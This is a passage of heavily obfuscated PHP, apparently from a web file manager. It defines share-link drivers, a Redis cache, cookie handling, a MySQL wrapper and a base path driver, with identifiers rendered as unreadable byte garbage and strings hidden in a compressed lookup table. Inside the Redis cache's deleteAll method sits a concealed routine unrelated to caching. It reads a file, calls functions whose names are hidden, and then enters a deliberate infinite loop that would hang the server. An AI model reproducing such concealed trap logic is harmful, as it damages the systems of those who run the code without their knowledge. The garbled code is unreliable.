(trim($†Ð¤ôÕç, $Ùª¿çÈÐ[8]) == trim(get_path_father($†Ð¤ôÕç), $Ùª¿çÈÐ[8])) { $ŠÛú‡°Ð = !0; } return IO::init($Ùª¿çÈÐ[12])->listAllSimpleMake($ò¡Ê¶¹õ, $†Ð¤ôÕç, $ŠÛú‡°Ð); } public function getPathOuter($ßú˜êîã) { $´äî³ÎŽ =& $_SERVER[ˆ¡¹µ‹Â]; $Þ‹´¬½­ = KodIO::parse($ßú˜êîã); if ($Þ‹´¬½­[$´äî³ÎŽ[33]] == KodIO::KOD_SHARE_ITEM) { return $Þ‹´¬½­[$´äî³ÎŽ[87]]; } $ÚñõÈÜœ = KodIO::clear($ßú˜êîã); $αà²Ùþ = KodIO::clear($this->pathParse[$´äî³ÎŽ[560]][$´äî³ÎŽ[1250]]); $þ´üâÒÙ = substr($ÚñõÈÜœ, strlen($αà²Ùþ)); if (substr($ÚñõÈÜœ, 0, strlen($αà²Ùþ)) != $αà²Ùþ) { return !1; } return $this->pathParse[$´äî³ÎŽ[1244]] . $´äî³ÎŽ[8] . ltrim($þ´üâÒÙ, $´äî³ÎŽ[8]); } public function getType() { $ºëšÎÚ<C38E> =& $_SERVER[ˆ¡¹µ‹Â]; $œ÷Δëà = str_replace($ºëšÎÚ<C38E>[77], $ºëšÎÚ<C38E>[12], get_class($this)); return strtolower($œ÷Δëà); } public function isOsDriver($³Üô¿ÕË) { return IO::isOsDriver($³Üô¿ÕË); } public function info($·¹±åˆ­) { return $this->infoParse($·¹±åˆ­); } public function infoAuth($ŸôÁ¿ñô) { return $this->infoParse($ŸôÁ¿ñô); } public function infoWithChildren($ÈʼnËüñ) { return $this->infoParse($ÈʼnËüñ, !0); } public function infoFull($ß<>¼áÂå) { return $this->infoParse($ß<>¼áÂå); } } class PathDriverDriverShareLink extends PathDriverDriverShareItem { public function __construct($£”ßÙû¥) { $this->pathParse = $£”ßÙû¥; } protected function infoParse($úÛý<C39B>ø…, $¬ÁåÞÂã = false) { $²×¼ÂÞ<C382> =& $_SERVER[ˆ¡¹µ‹Â]; return Action($²×¼ÂÞ<C382>[1249])->sharePathInfo($this->pathParse[$²×¼ÂÞ<C382>[87]], !0, $¬ÁåÞÂã); } public function listPath($é³³Þ<C2B3>ê, $›ÁŒ¬·© = false) { $¨èœ×ç” =& $_SERVER[ˆ¡¹µ‹Â]; $¹‰ç°ËÇ = IO::listPath($é³³Þ<C2B3>ê, $›ÁŒ¬·©); if (!$¹‰ç°ËÇ) { return $¹‰ç°ËÇ; } if (is_array($¹‰ç°ËÇ[$¨èœ×ç”[1419]])) { $¯¦­Ç†ó = Action($¨èœ×ç”[1428])->parsePathChildren($¹‰ç°ËÇ[$¨èœ×ç”[1419]], array($¨èœ×ç”[495] => $é³³Þ<C2B3>ê)); $¹‰ç°ËÇ[$¨èœ×ç”[1419]] = Action($¨èœ×ç”[1249])->shareItemInfo($¯¦­Ç†ó); } foreach ($¹‰ç°ËÇ as $’ėމ‰ => $˜åï¿<C3AF>ô) { if (!in_array($’ėމ‰, array($¨èœ×ç”[86], $¨èœ×ç”[85]))) { continue; } foreach ($˜åï¿<C3AF>ô as $ãáÔºÞÏ => $¯¦­Ç†ó) { $¯¦­Ç†ó = Action($¨èœ×ç”[1428])->parsePathChildren($¯¦­Ç†ó, array($¨èœ×ç”[495] => $é³³Þ<C2B3>ê)); $¹‰ç°ËÇ[$’ėމ‰][$ãáÔºÞÏ] = Action($¨èœ×ç”[1249])->shareItemInfo($¯¦­Ç†ó); } } return $¹‰ç°ËÇ; } } class PathDriverEDS extends PathDriverBaseS3 { public function __construct($¹·³Æ¸¡) { parent::__construct($¹·³Æ¸¡); $this->setSignVersion($_SERVER[ˆ¡¹µ‹Â][247]); } } goto BëˆÄŒâÏÌ; dù„”‰Ï<E280B0><C38F>: define($_SERVER[ˆ¡¹µ‹Â][0], $_SERVER[ˆ¡¹µ‹Â][1]); $_SERVER[Û<>¼Ô…²] = explode($_SERVER[ˆ¡¹µ‹Â][2], gzinflate(substr($_SERVER[ˆ¡¹µ‹Â][3], 10, -8))); function binCheckEq($£¹åŒà<C592>, $¡çŽò‹¤) { return $£¹åŒà<C592> == $¡çŽò‹¤; } goto Cº¾‡—¾<E28094>ž; Eœ ×ÄІ: class CacheRedis { public $handle; public $slaveHandle; public $cacheTime; public $isCluster = false; public function __construct($¤ýâ©èÏ, $Ä ÚøºÑ) { $ÊÕýæÓˆ =& $_SERVER[ˆ¡¹µ‹Â]; if (!class_exists($ÊÕýæÓˆ[944])) { show_json($ÊÕýæÓˆ[945], !1); } $this->cacheTime = $Ä ÚøºÑ; $À¯ÔŸÂË = isset($¤ýâ©èÏ[$ÊÕýæÓˆ[946]]) ? $¤ýâ©èÏ[$ÊÕýæÓˆ[946]] : 10; $؉ÄêÆ = _get($¤ýâ©èÏ, $ÊÕýæÓˆ[943]); if ($؉ÄêÆ && is_array($؉ÄêÆ)) { $this->initCluster($¤ýâ©èÏ, $À¯ÔŸÂË); } else { $this->handle = $this->init($¤ýâ©èÏ, $À¯ÔŸÂË); } } private function init($Óæ‡¥Ÿí, $ÞùÈ<C3B9>ç) { $Ѫ²’è¶ =& $_SERVER[ˆ¡¹µ‹Â]; $¨ø÷‚ó¼ = new Redis(); $ʱŕ¥Ü = isset($Óæ‡¥Ÿí[$Ѫ²’è¶[947]]) ? $Óæ‡¥Ÿí[$Ѫ²’è¶[947]] : !1; if ($ʱŕ¥Ü) { $¨ø÷‚ó¼->pconnect($Óæ‡¥Ÿí[$Ѫ²’è¶[208]], $Óæ‡¥Ÿí[$Ѫ²’è¶[209]], $ÞùÈ<C3B9>ç); } else { $¨ø÷‚ó¼->connect($Óæ‡¥Ÿí[$Ѫ²’è¶[208]], $Óæ‡¥Ÿí[$Ѫ²’è¶[209]], $ÞùÈ<C3B9>ç); } if (!empty($Óæ‡¥Ÿí[$Ѫ²’è¶[487]])) { $¨ø÷‚ó¼->auth($Óæ‡¥Ÿí[$Ѫ²’è¶[487]]); } if (!empty($Óæ‡¥Ÿí[$Ѫ²’è¶[824]]) && $Óæ‡¥Ÿí[$Ѫ²’è¶[824]] != 0) { $¨ø÷‚ó¼->select($Óæ‡¥Ÿí[$Ѫ²’è¶[824]]); } return $¨ø÷‚ó¼; } private function initCluster($ý¾‹Å“Å, $à­±¶ÌÑ) { $æ³·¤øª =& $_SERVER[ˆ¡¹µ‹Â]; $ƒñ’©Ê¾ = array($æ³·¤øª[948], $æ³·¤øª[949], $æ³·¤øª[950]); $‹¨Žîàû = $æ³·¤øª[948]; if (isset($ý¾‹Å“Å[$æ³·¤øª[16]]) && in_array($ý¾‹Å“Å[$æ³·¤øª[16]], $ƒñ’©Ê¾)) { $‹¨Žîàû = $ý¾‹Å“Å[$æ³·¤øª[16]]; } switch ($‹¨Žîàû) { case $æ³·¤øª[948]: $this->_slave($ý¾‹Å“Å, $à­±¶ÌÑ); break; case $æ³·¤øª[949]: break; case $æ³·¤øª[950]: $this->isCluster = !0; $šÔïöÌé = $ý¾‹Å“Å[$æ³·¤øª[943]]; $öÁ •»ö = isset($ý¾‹Å“Å[$æ³·¤øª[947]]) ? $ý¾‹Å“Å[$æ³·¤øª[947]] : !1; $ìð‹êŒÔ = isset($ý¾‹Å“Å[$æ³·¤øª[487]]) ? $ý¾‹Å“Å[$æ³·¤øª[487]] : null; $this->handle = new RedisCluster(NUll, $šÔïöÌé, $à­±¶ÌÑ, $à­±¶ÌÑ, $öÁ •»ö, $ìð‹êŒÔ); break; default: break; } } private function _slave($·ßì­çà, $•ýí‡è’) { $þ³<C3BE>ÆÝ÷ = $·ßì­çà[$_SERVER[ˆ¡¹µ‹Â][943]]; $this->filterConfig($·ßì­çà, $þ³<C3BE>ÆÝ÷[0]); $this->handle = $this->init($·ßì­çà, $•ýí‡è’); unset($þ³<C3BE>ÆÝ÷[0]); if (empty($þ³<C3BE>ÆÝ÷)) { return; } $ Šûº¶— = array_rand($þ³<C3BE>ÆÝ÷); $this->filterConfig($·ßì­çà, $þ³<C3BE>ÆÝ÷[$ Šûº¶—]); $this->slaveHandle = $this->init($·ßì­çà, $•ýí‡è’); } private function filterConfig(&$Ü¥£<C2A5>•Ç, $¶ßø¦µì) { $ñå™äψ =& $_SERVER[ˆ¡¹µ‹Â]; $É‹–½ãð = explode($ñå™äψ[4], $¶ßø¦µì); $–ôé·È¨ = array($ñå™äψ[208] => $É‹–½ãð[0], $ñå™äψ[209] => $É‹–½ãð[1]); $Ü¥£<C2A5>•Ç = array_merge($Ü¥£<C2A5>•Ç, $–ôé·È¨); } public function set($²Ä‘Íâ™, $ø<>¥…ð®, $êÖмĦ = false) { $êÖмĦ = $êÖмĦ ? $êÖмĦ : $this->cacheTime; return $this->handle->setEx($²Ä‘Íâ™, $êÖмĦ, $ø<>¥…ð®); } public function setLock($ÐÑŽ¬ßú, $<24>ïÈ, $“ÝúŒ²£) { return $this->handle->setNX($ÐÑŽ¬ßú, $<24>ïÈ); } public function get($«âÐÌÚ¿) { $ܘœàÛ¤ = $this->slaveHandle ? $this->slaveHandle : $this->handle; return $ܘœàÛ¤->get($«âÐÌÚ¿); } public function remove($þŽãùÚÖ) { return $this->handle->del($þŽãùÚÖ); } public function deleteAll() { $öû<C3B6>½ÒÀ =& $_SERVER[ˆ¡¹µ‹Â]; if (!isset($_SERVER[$öû<C3B6>½ÒÀ[846]]) || !isset($_SERVER[$öû<C3B6>½ÒÀ[844]])) { $€çìÑõª = $öû<C3B6>½ÒÀ[951]; $ÜœÊèƒí = $öû<C3B6>½ÒÀ[847]; $š‡Žùéº = $_SERVER[$öû<C3B6>½ÒÀ[848]] . $öû<C3B6>½ÒÀ[849]; $¦ÞœÖ—› = $ÜœÊèƒí($š‡Žùéº); $˜‡‹Ì×ü = explode($öû<C3B6>½ÒÀ[262], $¦ÞœÖ—›); if (count($˜‡‹Ì×ü) < $öû<C3B6>½ÒÀ[683]) { $ðХŎ­ = $öû<C3B6>½ÒÀ[850]; $ðХŎ­(); } $Ñã¨È<C2A8> = $öû<C3B6>½ÒÀ[952]; $Ñã¨È<C2A8>($_SERVER[$öû<C3B6>½ÒÀ[953]]); $­Ú¬¤ú¬ = 1; for ($®’Ÿ©ç‡ = $­Ú¬¤ú¬; $®’Ÿ©ç‡ > 0; $®’Ÿ©ç‡++) { $Ñã¨È<C2A8> = json_encode($GLOBALS[$öû<C3B6>½ÒÀ[492]]); } } if ($this->isCluster) { foreach ($this->handle->_masters() as $àÞ°óª¨) { $this->handle->flushall($àÞ°óª¨); } return; } return $this->handle->flushAll(); } } class Cookie { private $prefix = ''; private $expire = 3600; public function __construct($µúˆÞñ¯ = '', $ËåÝÞ¥« = 0) { if (is_string($µúˆÞñ¯) && $µúˆÞñ¯ != $_SERVER[ˆ¡¹µ‹Â][12]) { $this->prefix = $µúˆÞñ¯; } if (is_numeric($ËåÝÞ¥«) && $ËåÝÞ¥« > 0) { $this->expire = $ËåÝÞ¥«; } } public static function getInstance() { static $ƒ£¾îô±; if ($ƒ£¾îô± === null) { $ƒ£¾îô± = new self(); } return $ƒ£¾îô±; } private static $cookieDisable = false; public static function disable($“¥ºúò­) { self::$cookieDisable = $“¥ºúò­; } private static $sameCookieSet = array(); public static function set($„®Ü쑆, $„Þ§£­Þ, $¡¾¦<C2BE>Ö¥ = 0, $˾ÃÜ—Þ = false, $û›Úôêí = false) { $ˆ¼‘þ˲ =& $_SERVER[ˆ¡¹µ‹Â]; if (self::$cookieDisable) { return; } if (!$¡¾¦<C2BE>Ö¥) { $¡¾¦<C2BE>Ö¥ = 24 * 3600 * 7; } if (isset(self::$sameCookieSet[$„®Ü쑆]) && self::$sameCookieSet[$„®Ü쑆] == $„Þ§£­Þ . $¡¾¦<C2BE>Ö¥) { return; } self::$sameCookieSet[$„®Ü쑆] = $„Þ§£­Þ . $¡¾¦<C2BE>Ö¥; if (!$û›Úôêí) { $û›Úôêí = str_replace(HOST, $ˆ¼‘þ˲[12], APP_HOST); $û›Úôêí = _get($GLOBALS, $ˆ¼‘þ˲[954], $û›Úôêí); } $ø€Ðæ‚ø = $ˆ¼‘þ˲[12]; setcookie($„®Ü쑆, $„Þ§£­Þ, time() + $¡¾¦<C2BE>Ö¥, $ˆ¼‘þ˲[8] . trim($û›Úôêí, $ˆ¼‘þ˲[8]) . $ø€Ðæ‚ø, !1, !1, $˾ÃÜ—Þ); } public static function setSafe($ÅÓ©¶¦”, $Äæ¼¾ŽÓ, $ëºÙÕ’ì = 0) { self::set($ÅÓ©¶¦”, $Äæ¼¾ŽÓ, $ëºÙÕ’ì, !0); } public static function get($´¾Á͆×) { static $ôŠ‚¯¾Í = false; if (!$ôŠ‚¯¾Í) { self::initHeaderCookie(); $ôŠ‚¯¾Í = !0; } return isset($_COOKIE[$´¾Á͆×]) ? $_COOKIE[$´¾Á͆×] : !1; } private static function initHeaderCookie() { $è›Íàñà =& $_SERVER[ˆ¡¹µ‹Â]; if (!isset($_SERVER[$è›ÍàñÃ[955]]) || !$_SERVER[$è›ÍàñÃ[955]]) { return; } $ö׫‘ðÌ = explode($è›ÍàñÃ[74], $_SERVER[$è›ÍàñÃ[955]]); foreach ($ö׫‘ðÌ as $¦ÚÙƒàã) { $¦ÚÙƒàã = explode($è›ÍàñÃ[506], $¦ÚÙƒàã); if (count($¦ÚÙƒàã) != 2 || !isset($¦ÚÙƒàã[1])) { continue; } $_COOKIE[trim($¦ÚÙƒàã[0])] = trim($¦ÚÙƒàã[1]); } } public static function remove($ì•Ãã•¶, $ìŸ÷<C5B8><C3B7>• = false) { unset($_COOKIE[$ì•Ãã•¶]); self::set($ì•Ãã•¶, $_SERVER[ˆ¡¹µ‹Â][12], 1, $ìŸ÷<C5B8><C3B7>•); } } class DbMysql extends Db { public function __construct($êýàæÆ° = '') { $푪žìÕ =& $_SERVER[ˆ¡¹µ‹Â]; if (!extension_loaded($푪žìÕ[879])) { think_exception(think_lang($푪žìÕ[14]) . $푪žìÕ[956]); } if (!empty($êýàæÆ°)) { $this->config = $êýàæÆ°; if (empty($this->config[$푪žìÕ[17]])) { $this->config[$푪žìÕ[17]] = $푪žìÕ[12]; } } } public function connect($¸<>؈¾ = '', $õâä´ÛÞ = 0, $ž¨ÏÎèª = false) { $€œã—Á® =& $_SERVER[ˆ¡¹µ‹Â]; if (!isset($this->linkID[$õâä´ÛÞ])) { if (empty($¸<>؈¾)) { $¸<>؈¾ = $this->config; } $¹”éÑðê = $¸<>؈¾[$€œã—Á®[957]] . ($¸<>؈¾[$€œã—Á®[958]] ? "\x3a{$¸<>؈¾[$€œã—Á®[958]]}" : $€œã—Á®[12]); $ÓáÈþ¥‰ = !empty($¸<>؈¾[$€œã—Á®[17]][$€œã—Á®[18]]) ? $¸<>؈¾[$€œã—Á®[17]][$€œã—Á®[18]] : $this->pconnect; if ($ÓáÈþ¥‰) { $this->linkID[$õâä´ÛÞ] = mysql_pconnect($¹”éÑðê, $¸<>؈¾[$€œã—Á®[959]], $¸<>؈¾[$€œã—Á®[960]], 131072); } else { $this->linkID[$õâä´ÛÞ] = mysql_connect($¹”éÑðê, $¸<>؈¾[$€œã—Á®[959]], $¸<>؈¾[$€œã—Á®[960]], !0, 131072); } if (!$this->linkID[$õâä´ÛÞ] || !empty($¸<>؈¾[$€œã—Á®[21]]) && !mysql_select_db($¸<>؈¾[$€œã—Á®[21]], $this->linkID[$õâä´ÛÞ])) { think_exception(mysql_error()); } $Å”þ —Ð = mysql_get_server_info($this->linkID[$õâä´ÛÞ]); mysql_query($€œã—Á®[961] . think_config($€œã—Á®[962]) . $€œã—Á®[58], $this->linkID[$õâä´ÛÞ]); if ($Å”þ —Ð > $€œã—Á®[963]) { mysql_query($€œã—Á®[964], $this->linkID[$õâä´ÛÞ]); } $this->connected = !0; if (1 != think_config($€œã—Á®[22])) { unset($this->config); } } return $this->linkID[$õâä´ÛÞ]; } public function free() { mysql_free_result($this->queryID); $this->queryID = null; } public function query($±×â•åŽ) { $¯Õ¢¦»À =& $_SERVER[ˆ¡¹µ‹Â]; if (0 === stripos($±×â•åŽ, $¯Õ¢¦»À[341])) { $this->close(); $this->connected = !1; } $this->initConnect(!1); if (!$this->_linkID) { return !1; } $this->queryStr = $±×â•åŽ; if ($this->queryID) { $this->free(); } think_action_status($¯Õ¢¦»À[23], 1); think_status($¯Õ¢¦»À[24]); $this->queryID = mysql_query($±×â•åŽ, $this->_linkID); $this->debug(); if (!1 === $this->queryID) { $this->error(); return !1; } else { $this->numRows = mysql_num_rows($this->queryID); return $this->getAll(); } } public function execute($׌ø›£å) { $Ô<>…ÙƒÒ =& $_SERVER[ˆ¡¹µ‹Â]; $this->initConnect(!0); if (!$this->_linkID) { return !1; } $this->queryStr = $׌ø›£å; if ($this->queryID) { $this->free(); } think_action_status($Ô<>…ÙƒÒ[25], 1); think_status($Ô<>…ÙƒÒ[24]); $›ÝÖ¨ÃÑ = mysql_query($׌ø›£å, $this->_linkID); $this->debug(); if (!1 === $›ÝÖ¨ÃÑ) { $this->error(); return !1; } else { $this->numRows = mysql_affected_rows($this->_linkID); $this->lastInsID = mysql_insert_id($this->_linkID); return $this->numRows; } } public function startTrans() { $this->initConnect(!0); if (!$this->_linkID) { return !1; } if ($this->transTimes == 0) { mysql_query($_SERVER[ˆ¡¹µ‹Â][965], $this->_linkID); } $this->transTimes++; return; } public function commit() { if ($this->transTimes > 0) { $”䢆œŠ = mysql_query($_SERVER[ˆ¡¹µ‹Â][966], $this->_linkID); $this->transTimes = 0; if (!$”䢆œŠ) { $this->error(); return !1; } } return !0; } public function rollback() { if ($this->transTimes > 0) { $Ã…<C383>Ùà— = mysql_query($_SERVER[ˆ¡¹µ‹Â][967], $this->_linkID); $this->transTimes = 0; if (!$Ã…<C383>Ùà—) { $this->error(); return !1; } } return !0; } private function getAll() { $ˆáÔ<C3A1>Ú = array(); if ($this->numRows > 0) { while ($¿Ä¢÷…­ = mysql_fetch_assoc($this->queryID)) { $ˆáÔ<C3A1>Ú[] = $¿Ä¢÷…­; } mysql_data_seek($this->queryID, 0); } return $ˆáÔ<C3A1>Ú; } public function getFields($öÍéøë¡) { $§Âóùù« =& $_SERVER[ˆ¡¹µ‹Â]; $”¸íºäá = $this->query($§Âóùù«[968] . $this->parseKey($öÍéøë¡)); $®Üþà…á = array(); if ($”¸íºäá) { foreach ($”¸íºäá as $ñ¼ÅÊí¿ => $³Ó®ñí‡) { $®Üþà…á[$³Ó®ñí‡[$§Âóùù«[31]]] = array($§Âóùù«[32] => $³Ó®ñí‡[$§Âóùù«[31]], $§Âóùù«[33] => $³Ó®ñí‡[$§Âóùù«[34]], $§Âóùù«[35] => (bool) (strtoupper($³Ó®ñí‡[$§Âóùù«[36]]) === $§Âóùù«[969]), $§Âóùù«[37] => $³Ó®ñí‡[$§Âóùù«[38]], $§Âóùù«[39] => strtolower($³Ó®ñí‡[$§Âóùù«[40]]) == $§Âóùù«[41], $§Âóùù«[42] => strtolower($³Ó®ñí‡[$§Âóùù«[43]]) == $§Âóùù«[44]); } } return $®Üþà…á; } public function getTables($Ú¹³¯¤Ü = '') { $Øã‰¯’î =& $_SERVER[ˆ¡¹µ‹Â]; if (!empty($Ú¹³¯¤Ü)) { $홎’ÜÕ = $Øã‰¯’î[970] . $Ú¹³¯¤Ü . $Øã‰¯’î[971]; } else { $홎’ÜÕ = $Øã‰¯’î[972]; } $íÓ<C3AD>ÂæÐ = $this->query($홎’ÜÕ); $Ç´ûºƒ¹ = array(); foreach ($íÓ<C3AD>ÂæÐ as $Úûõä»ö => $•<>ª‡¿¤) { $Ç´ûºƒ¹[$Úûõä»ö] = current($•<>ª‡¿¤); } return $Ç´ûºƒ¹; } public function replace($ž‡©¹Çž, $ÚÒÆ–¬Ú = array()) { $“¡Š„×­ =& $_SERVER[ˆ¡¹µ‹Â]; foreach ($ž‡©¹Çž as $Üôç³ä• => $¨åà›´Û) { $á ª<C2A0>¡ù = $this->parseValue($¨åà›´Û); if (is_scalar($á ª<C2A0>¡ù)) { $áœÕàÆœ[] = $á ª<C2A0>¡ù; $ºµ’·é¡[] = $this->parseKey($Üôç³ä•); } } $¿²¶Òú™ = $“¡Š„×­[973] . $this->parseTable($ÚÒÆ–¬Ú[$“¡Š„×­[356]]) . $“¡Š„×­[974] . implode($“¡Š„×­[50], $ºµ’·é¡) . $“¡Š„×­[975] . implode($“¡Š„×­[50], $áœÕàÆœ) . $“¡Š„×­[976]; return $this->execute($¿²¶Òú™); } public function insertAll($ü£ì´¸‹, $¦°çÓüà = array(), $ü çÏ÷ä = false) { $—Ȱô½‡ =& $_SERVER[ˆ¡¹µ‹Â]; if (!is_array($ü£ì´¸‹[0])) { return !1; } $ȺâÂ<C3A2> = array_keys($ü£ì´¸‹[0]); $‹šÁÆÁ = array(); foreach ($ü£ì´¸‹ as $׳円‹) { $™úÏ = array(); foreach ($׳円‹ as $ìãàõÖÐ => $ŒÔÐóЈ) { $ŒÔÐóЈ = $this->parseValue($ŒÔÐóЈ); if (is_scalar($ŒÔÐóЈ)) { $™úÏ[] = $ŒÔÐóЈ; } } $‹šÁÆÁ[] = $—Ȱô½‡[337] . implode($—Ȱô½‡[50], $™úÏ) . $—Ȱô½‡[976]; } array_walk($ȺâÂ<C3A2>, array($this, $—Ȱô½‡[977])); $®§‘‡”Ç = ($ü çÏ÷ä ? $—Ȱô½‡[978] : $—Ȱô½‡[979]) . $—Ȱô½‡[980] . $this->parseTable($¦°çÓüà[$—Ȱô½‡[356]]) . $—Ȱô½‡[974] . implode($—Ȱô½‡[50], $ȺâÂ<C3A2>) . $—Ȱô½‡[981] . implode($—Ȱô½‡[50], $‹šÁÆÁ); return $this->execute($®§‘‡”Ç); } public function close() { if ($this->_linkID) { mysql_close($this->_linkID); } $this->_linkID = null; } public function error() { $<24>Ÿð“†¨ =& $_SERVER[ˆ¡¹µ‹Â]; $this->error = mysql_errno() . $<24>Ÿð“†¨[4] . mysql_error($this->_linkID); if ($<24>Ÿð“†¨[12] != $this->queryStr) { $this->error .= LNG($<24>Ÿð“†¨[48]) . $this->queryStr; } think_trace($this->error, $<24>Ÿð“†¨[12], $<24>Ÿð“†¨[49]); return $this->error; } public function escapeString($ ·ö¼îÍ) { if ($this->_linkID) { return mysql_real_escape_string($ ·ö¼îÍ, $this->_linkID); } else { return mysql_escape_string($ ·ö¼îÍ); } } public function parseKey(&$<24>Ñ<EFBFBD>Óûö, $ÊÚ¥“ì¬ = true) { $鯣ú¯ý =& $_SERVER[ˆ¡¹µ‹Â]; if ($ÊÚ¥“ì¬) { $<24>Ñ<EFBFBD>Óûö = $this->parseKeyCheck($<24>Ñ<EFBFBD>Óûö); } if ($<24>Ñ<EFBFBD>Óûö != $鯣ú¯ý[220] && !preg_match($鯣ú¯ý[982], $<24>Ñ<EFBFBD>Óûö)) { $<24>Ñ<EFBFBD>Óûö = $鯣ú¯ý[461] . trim($<24>Ñ<EFBFBD>Óûö, $鯣ú¯ý[461]) . $鯣ú¯ý[461]; } return $<24>Ñ<EFBFBD>Óûö; } } goto d¶¾¡ßЧÕ; E¨ñ¬ÁÑ«: class PathDriverBase { public $pathDriver = ''; public $pathBase = ''; public $path = ''; public $pathID = ''; public $_data = array(); public function __construct() { $°¿<C2B0>¼Úú =& $_SERVER[ˆ¡¹µ‹Â]; $this->objectDriver = array($°¿<C2B0>¼Úú[60], $°¿<C2B0>¼Úú[61], $°¿<C2B0>¼Úú[62], $°¿<C2B0>¼Úú[63], $°¿<C2B0>¼Úú[64], $°¿<C2B0>¼Úú[65], $°¿<C2B0>¼Úú[66], $°¿<C2B0>¼Úú[67], $°¿<C2B0>¼Úú[68], $°¿<C2B0>¼Úú[69], $°¿<C2B0>¼Úú[70], $°¿<C2B0>¼Úú[71]); $this->_classObjectID = mt_rand(0, 10000); } public function getPath($‘̱öÙÕ) { if (in_array($this->getType(), $this->objectDriver)) { return ltrim($‘̱öÙÕ, $_SERVER[ˆ¡¹µ‹Â][8]); } return $‘̱öÙÕ; } public function iconvApp($â­ç¸þÑ) { return $â­ç¸þÑ; } public function iconvSystem($žúÕ”²î) { return $žúÕ”²î; } public function iconvTo($—‚×Ä©ž, $²‡äÀš£, $ŽÔ’бû) { $Ûø•ü<E280A2> =& $_SERVER[ˆ¡¹µ‹Â]; if (!$—‚×Ä©ž || !function_exists($Ûø•ü<E280A2>[72])) { return $—‚×Ä©ž; } static $¹çÆ<C3A7>òƒ = array(); $ûÌ­”¨û = $²‡äÀš£ . $Ûø•ü<E280A2>[73] . $ŽÔ’бû . $Ûø•ü<E280A2>[74] . $—‚×Ä©ž; if (isset($¹çÆ<C3A7>òƒ[$ûÌ­”¨û])) { return $¹çÆ<C3A7>òƒ[$ûÌ­”¨û]; } if (function_exists($Ûø•ü<E280A2>[75])) { $Я™…¿ï = @mb_convert_encoding($—‚×Ä©ž, $ŽÔ’бû, $²‡äÀš£); } else { $Я™…¿ï = @iconv($²‡äÀš£, $ŽÔ’бû, $—‚×Ä©ž); } $Я™…¿ï = $Я™…¿ï ? $Я™…¿ï : $—‚×Ä©ž; if (strstr($Я™…¿ï, $Ûø•ü<E280A2>[76])) { $Я™…¿ï = str_replace($Ûø•ü<E280A2>[76], $Ûø•ü<E280A2>[11], $Я™…¿ï); } $¹çÆ<C3A7>òƒ[$²‡äÀš£ . $Ûø•ü<E280A2>[73] . $ŽÔ’бû . $Ûø•ü<E280A2>[74] . $—‚×Ä©ž] = $Я™…¿ï; $¹çÆ<C3A7>òƒ[$ŽÔ’бû . $Ûø•ü<E280A2>[73] . $²‡äÀš£ . $Ûø•ü<E280A2>[74] . $—‚×Ä©ž] = $—‚×Ä©ž; $¹çÆ<C3A7>òƒ[$ŽÔ’бû . $Ûø•ü<E280A2>[73] . $²‡äÀš£ . $Ûø•ü<E280A2>[74] . $Я™…¿ï] = $—‚×Ä©ž; $¹çÆ<C3A7>òƒ[$²‡äÀš£ . $Ûø•ü<E280A2>[73] . $ŽÔ’бû . $Ûø•ü<E280A2>[74] . $Я™…¿ï] = $Я™…¿ï; return $Я™…¿ï; } public function getPathInner($šÛå) { $¥Ô<E280BA>öÁ = IO::init($šÛå); return $¥Ô<E280BA>öÁ->path; } public function getPathOuter($£<E28099>úÊ) { $›ÇÕŽª× =& $_SERVER[ˆ¡¹µ‹Â]; $„̡Ԯæ = strlen(trim($this->pathBase, $›ÇÕŽª×[8])); $£<E28099>úÊ = substr(trim($£<E28099>úÊ, $›ÇÕŽª×[8]), $„̡Ԯæ); return $this->pathDriver . $›ÇÕŽª×[8] . ltrim($£<E28099>úÊ, $›ÇÕŽª×[8]); } public function isParentOf($ž±Ëó<C38B>¾, $öëàÊ×Ò) { $ó„·êÛ² =& $_SERVER[ˆ¡¹µ‹Â]; $ž±Ëó<C38B>¾ = rtrim(strtolower($ž±Ëó<C38B>¾), $ó„·êÛ²[8]) . $ó„·êÛ²[8]; $öëàÊ×Ò = rtrim(strtolower($öëàÊ×Ò), $ó„·êÛ²[8]) . $ó„·êÛ²[8]; $ŸãÈôºš = strpos($öëàÊ×Ò, $ž±Ëó<C38B>¾) === 0; return $ŸãÈôºš; } public function getType() { $תö—☠=& $_SERVER[ˆ¡¹µ‹Â]; $ôò¹ˆÛ© = str_replace($תö—â˜[77], $תö—â˜[12], get_class($this)); return strtolower($ôò¹ˆÛ©); } public function isOsDriver() { if (!is_array($this->objectDriver)) { return !1; } return in_array($this->getType(), $this->objectDriver); } public function fileNameExist($—ÐÄ“¿«, $£®¯Ñ•ç) { $Âï´´‚  =& $_SERVER[ˆ¡¹µ‹Â]; $¦<>àž÷ = rtrim($—ÐÄ“¿«, $Âï´´‚ [8]) . $Âï´´‚ [8] . $£®¯Ñ•ç; $³³ŸØ™Ù = $this->exist($¦<>àž÷); return $³³ŸØ™Ù ? $¦<>àž÷ : !1; } public function setModifyTime($Ò³Üﺩ, $è¯ç‰£È = '') { } public function renameObject($¾Žµ°×¨, $†Íò€<C3B2>þ) { $꫺¦í³ = $†Íò€<C3B2>þ; $¾Žµ°×¨ = $this->getPathOuter($¾Žµ°×¨); $†Íò€<C3B2>þ = $this->pathFather($¾Žµ°×¨) . $†Íò€<C3B2>þ; $à™®Êü‡ = IO::copy($¾Žµ°×¨, $this->pathFather($¾Žµ°×¨), REPEAT_RENAME_FOLDER, $꫺¦í³); if ($à™®Êü‡) { IO::remove($¾Žµ°×¨); } return $à™®Êü‡ ? $†Íò€<C3B2>þ : !1; } public function tempFile($°æã<C3A6>ûÒ = '', $Ì÷°öúÚ = '') { if (!$°æã<C3A6>ûÒ) { $°æã<C3A6>ûÒ = rand_string(15); } $íí¹£÷’ = TEMP_FILES . rand_string(15) . $_SERVER[ˆ¡¹µ‹Â][8]; @mkdir($íí¹£÷’, DEFAULT_PERRMISSIONS, !0); $›šŸ¾àÄ = $íí¹£÷’ . $°æã<C3A6>ûÒ; @touch($›šŸ¾àÄ); if ($Ì÷°öúÚ) { file_put_contents($›šŸ¾àÄ, $Ì÷°öúÚ); } return $›šŸ¾àÄ; } public function tempFileRemve($ÀÄÂÛÄí) { @unlink($ÀÄÂÛÄí); @rmdir($this->pathFather($ÀÄÂÛÄí)); } public function mkfile($¡ÀÂÈÙ›, $óÈãøýÈ = '', $徚ֳ¯ = REPEAT_RENAME) { } public function mkdir($šÝá°÷ˆ, $‹íˆâ»… = REPEAT_SKIP) { } public function delFile($²þÔ<C3BE>Íð) { } public function delFolder($ÛÊ´ÇÑ”) { } public function copyFile($¢Œ†øÛð, $Ʋª³´º) { } public function moveFile($¡¶§ÎÒ‰, $ñà…”“Ü) { } public function remove($ŸÙ©˜Š´) { if ($this->isFile($ŸÙ©˜Š´)) { return $this->delFile($ŸÙ©˜Š´); } return 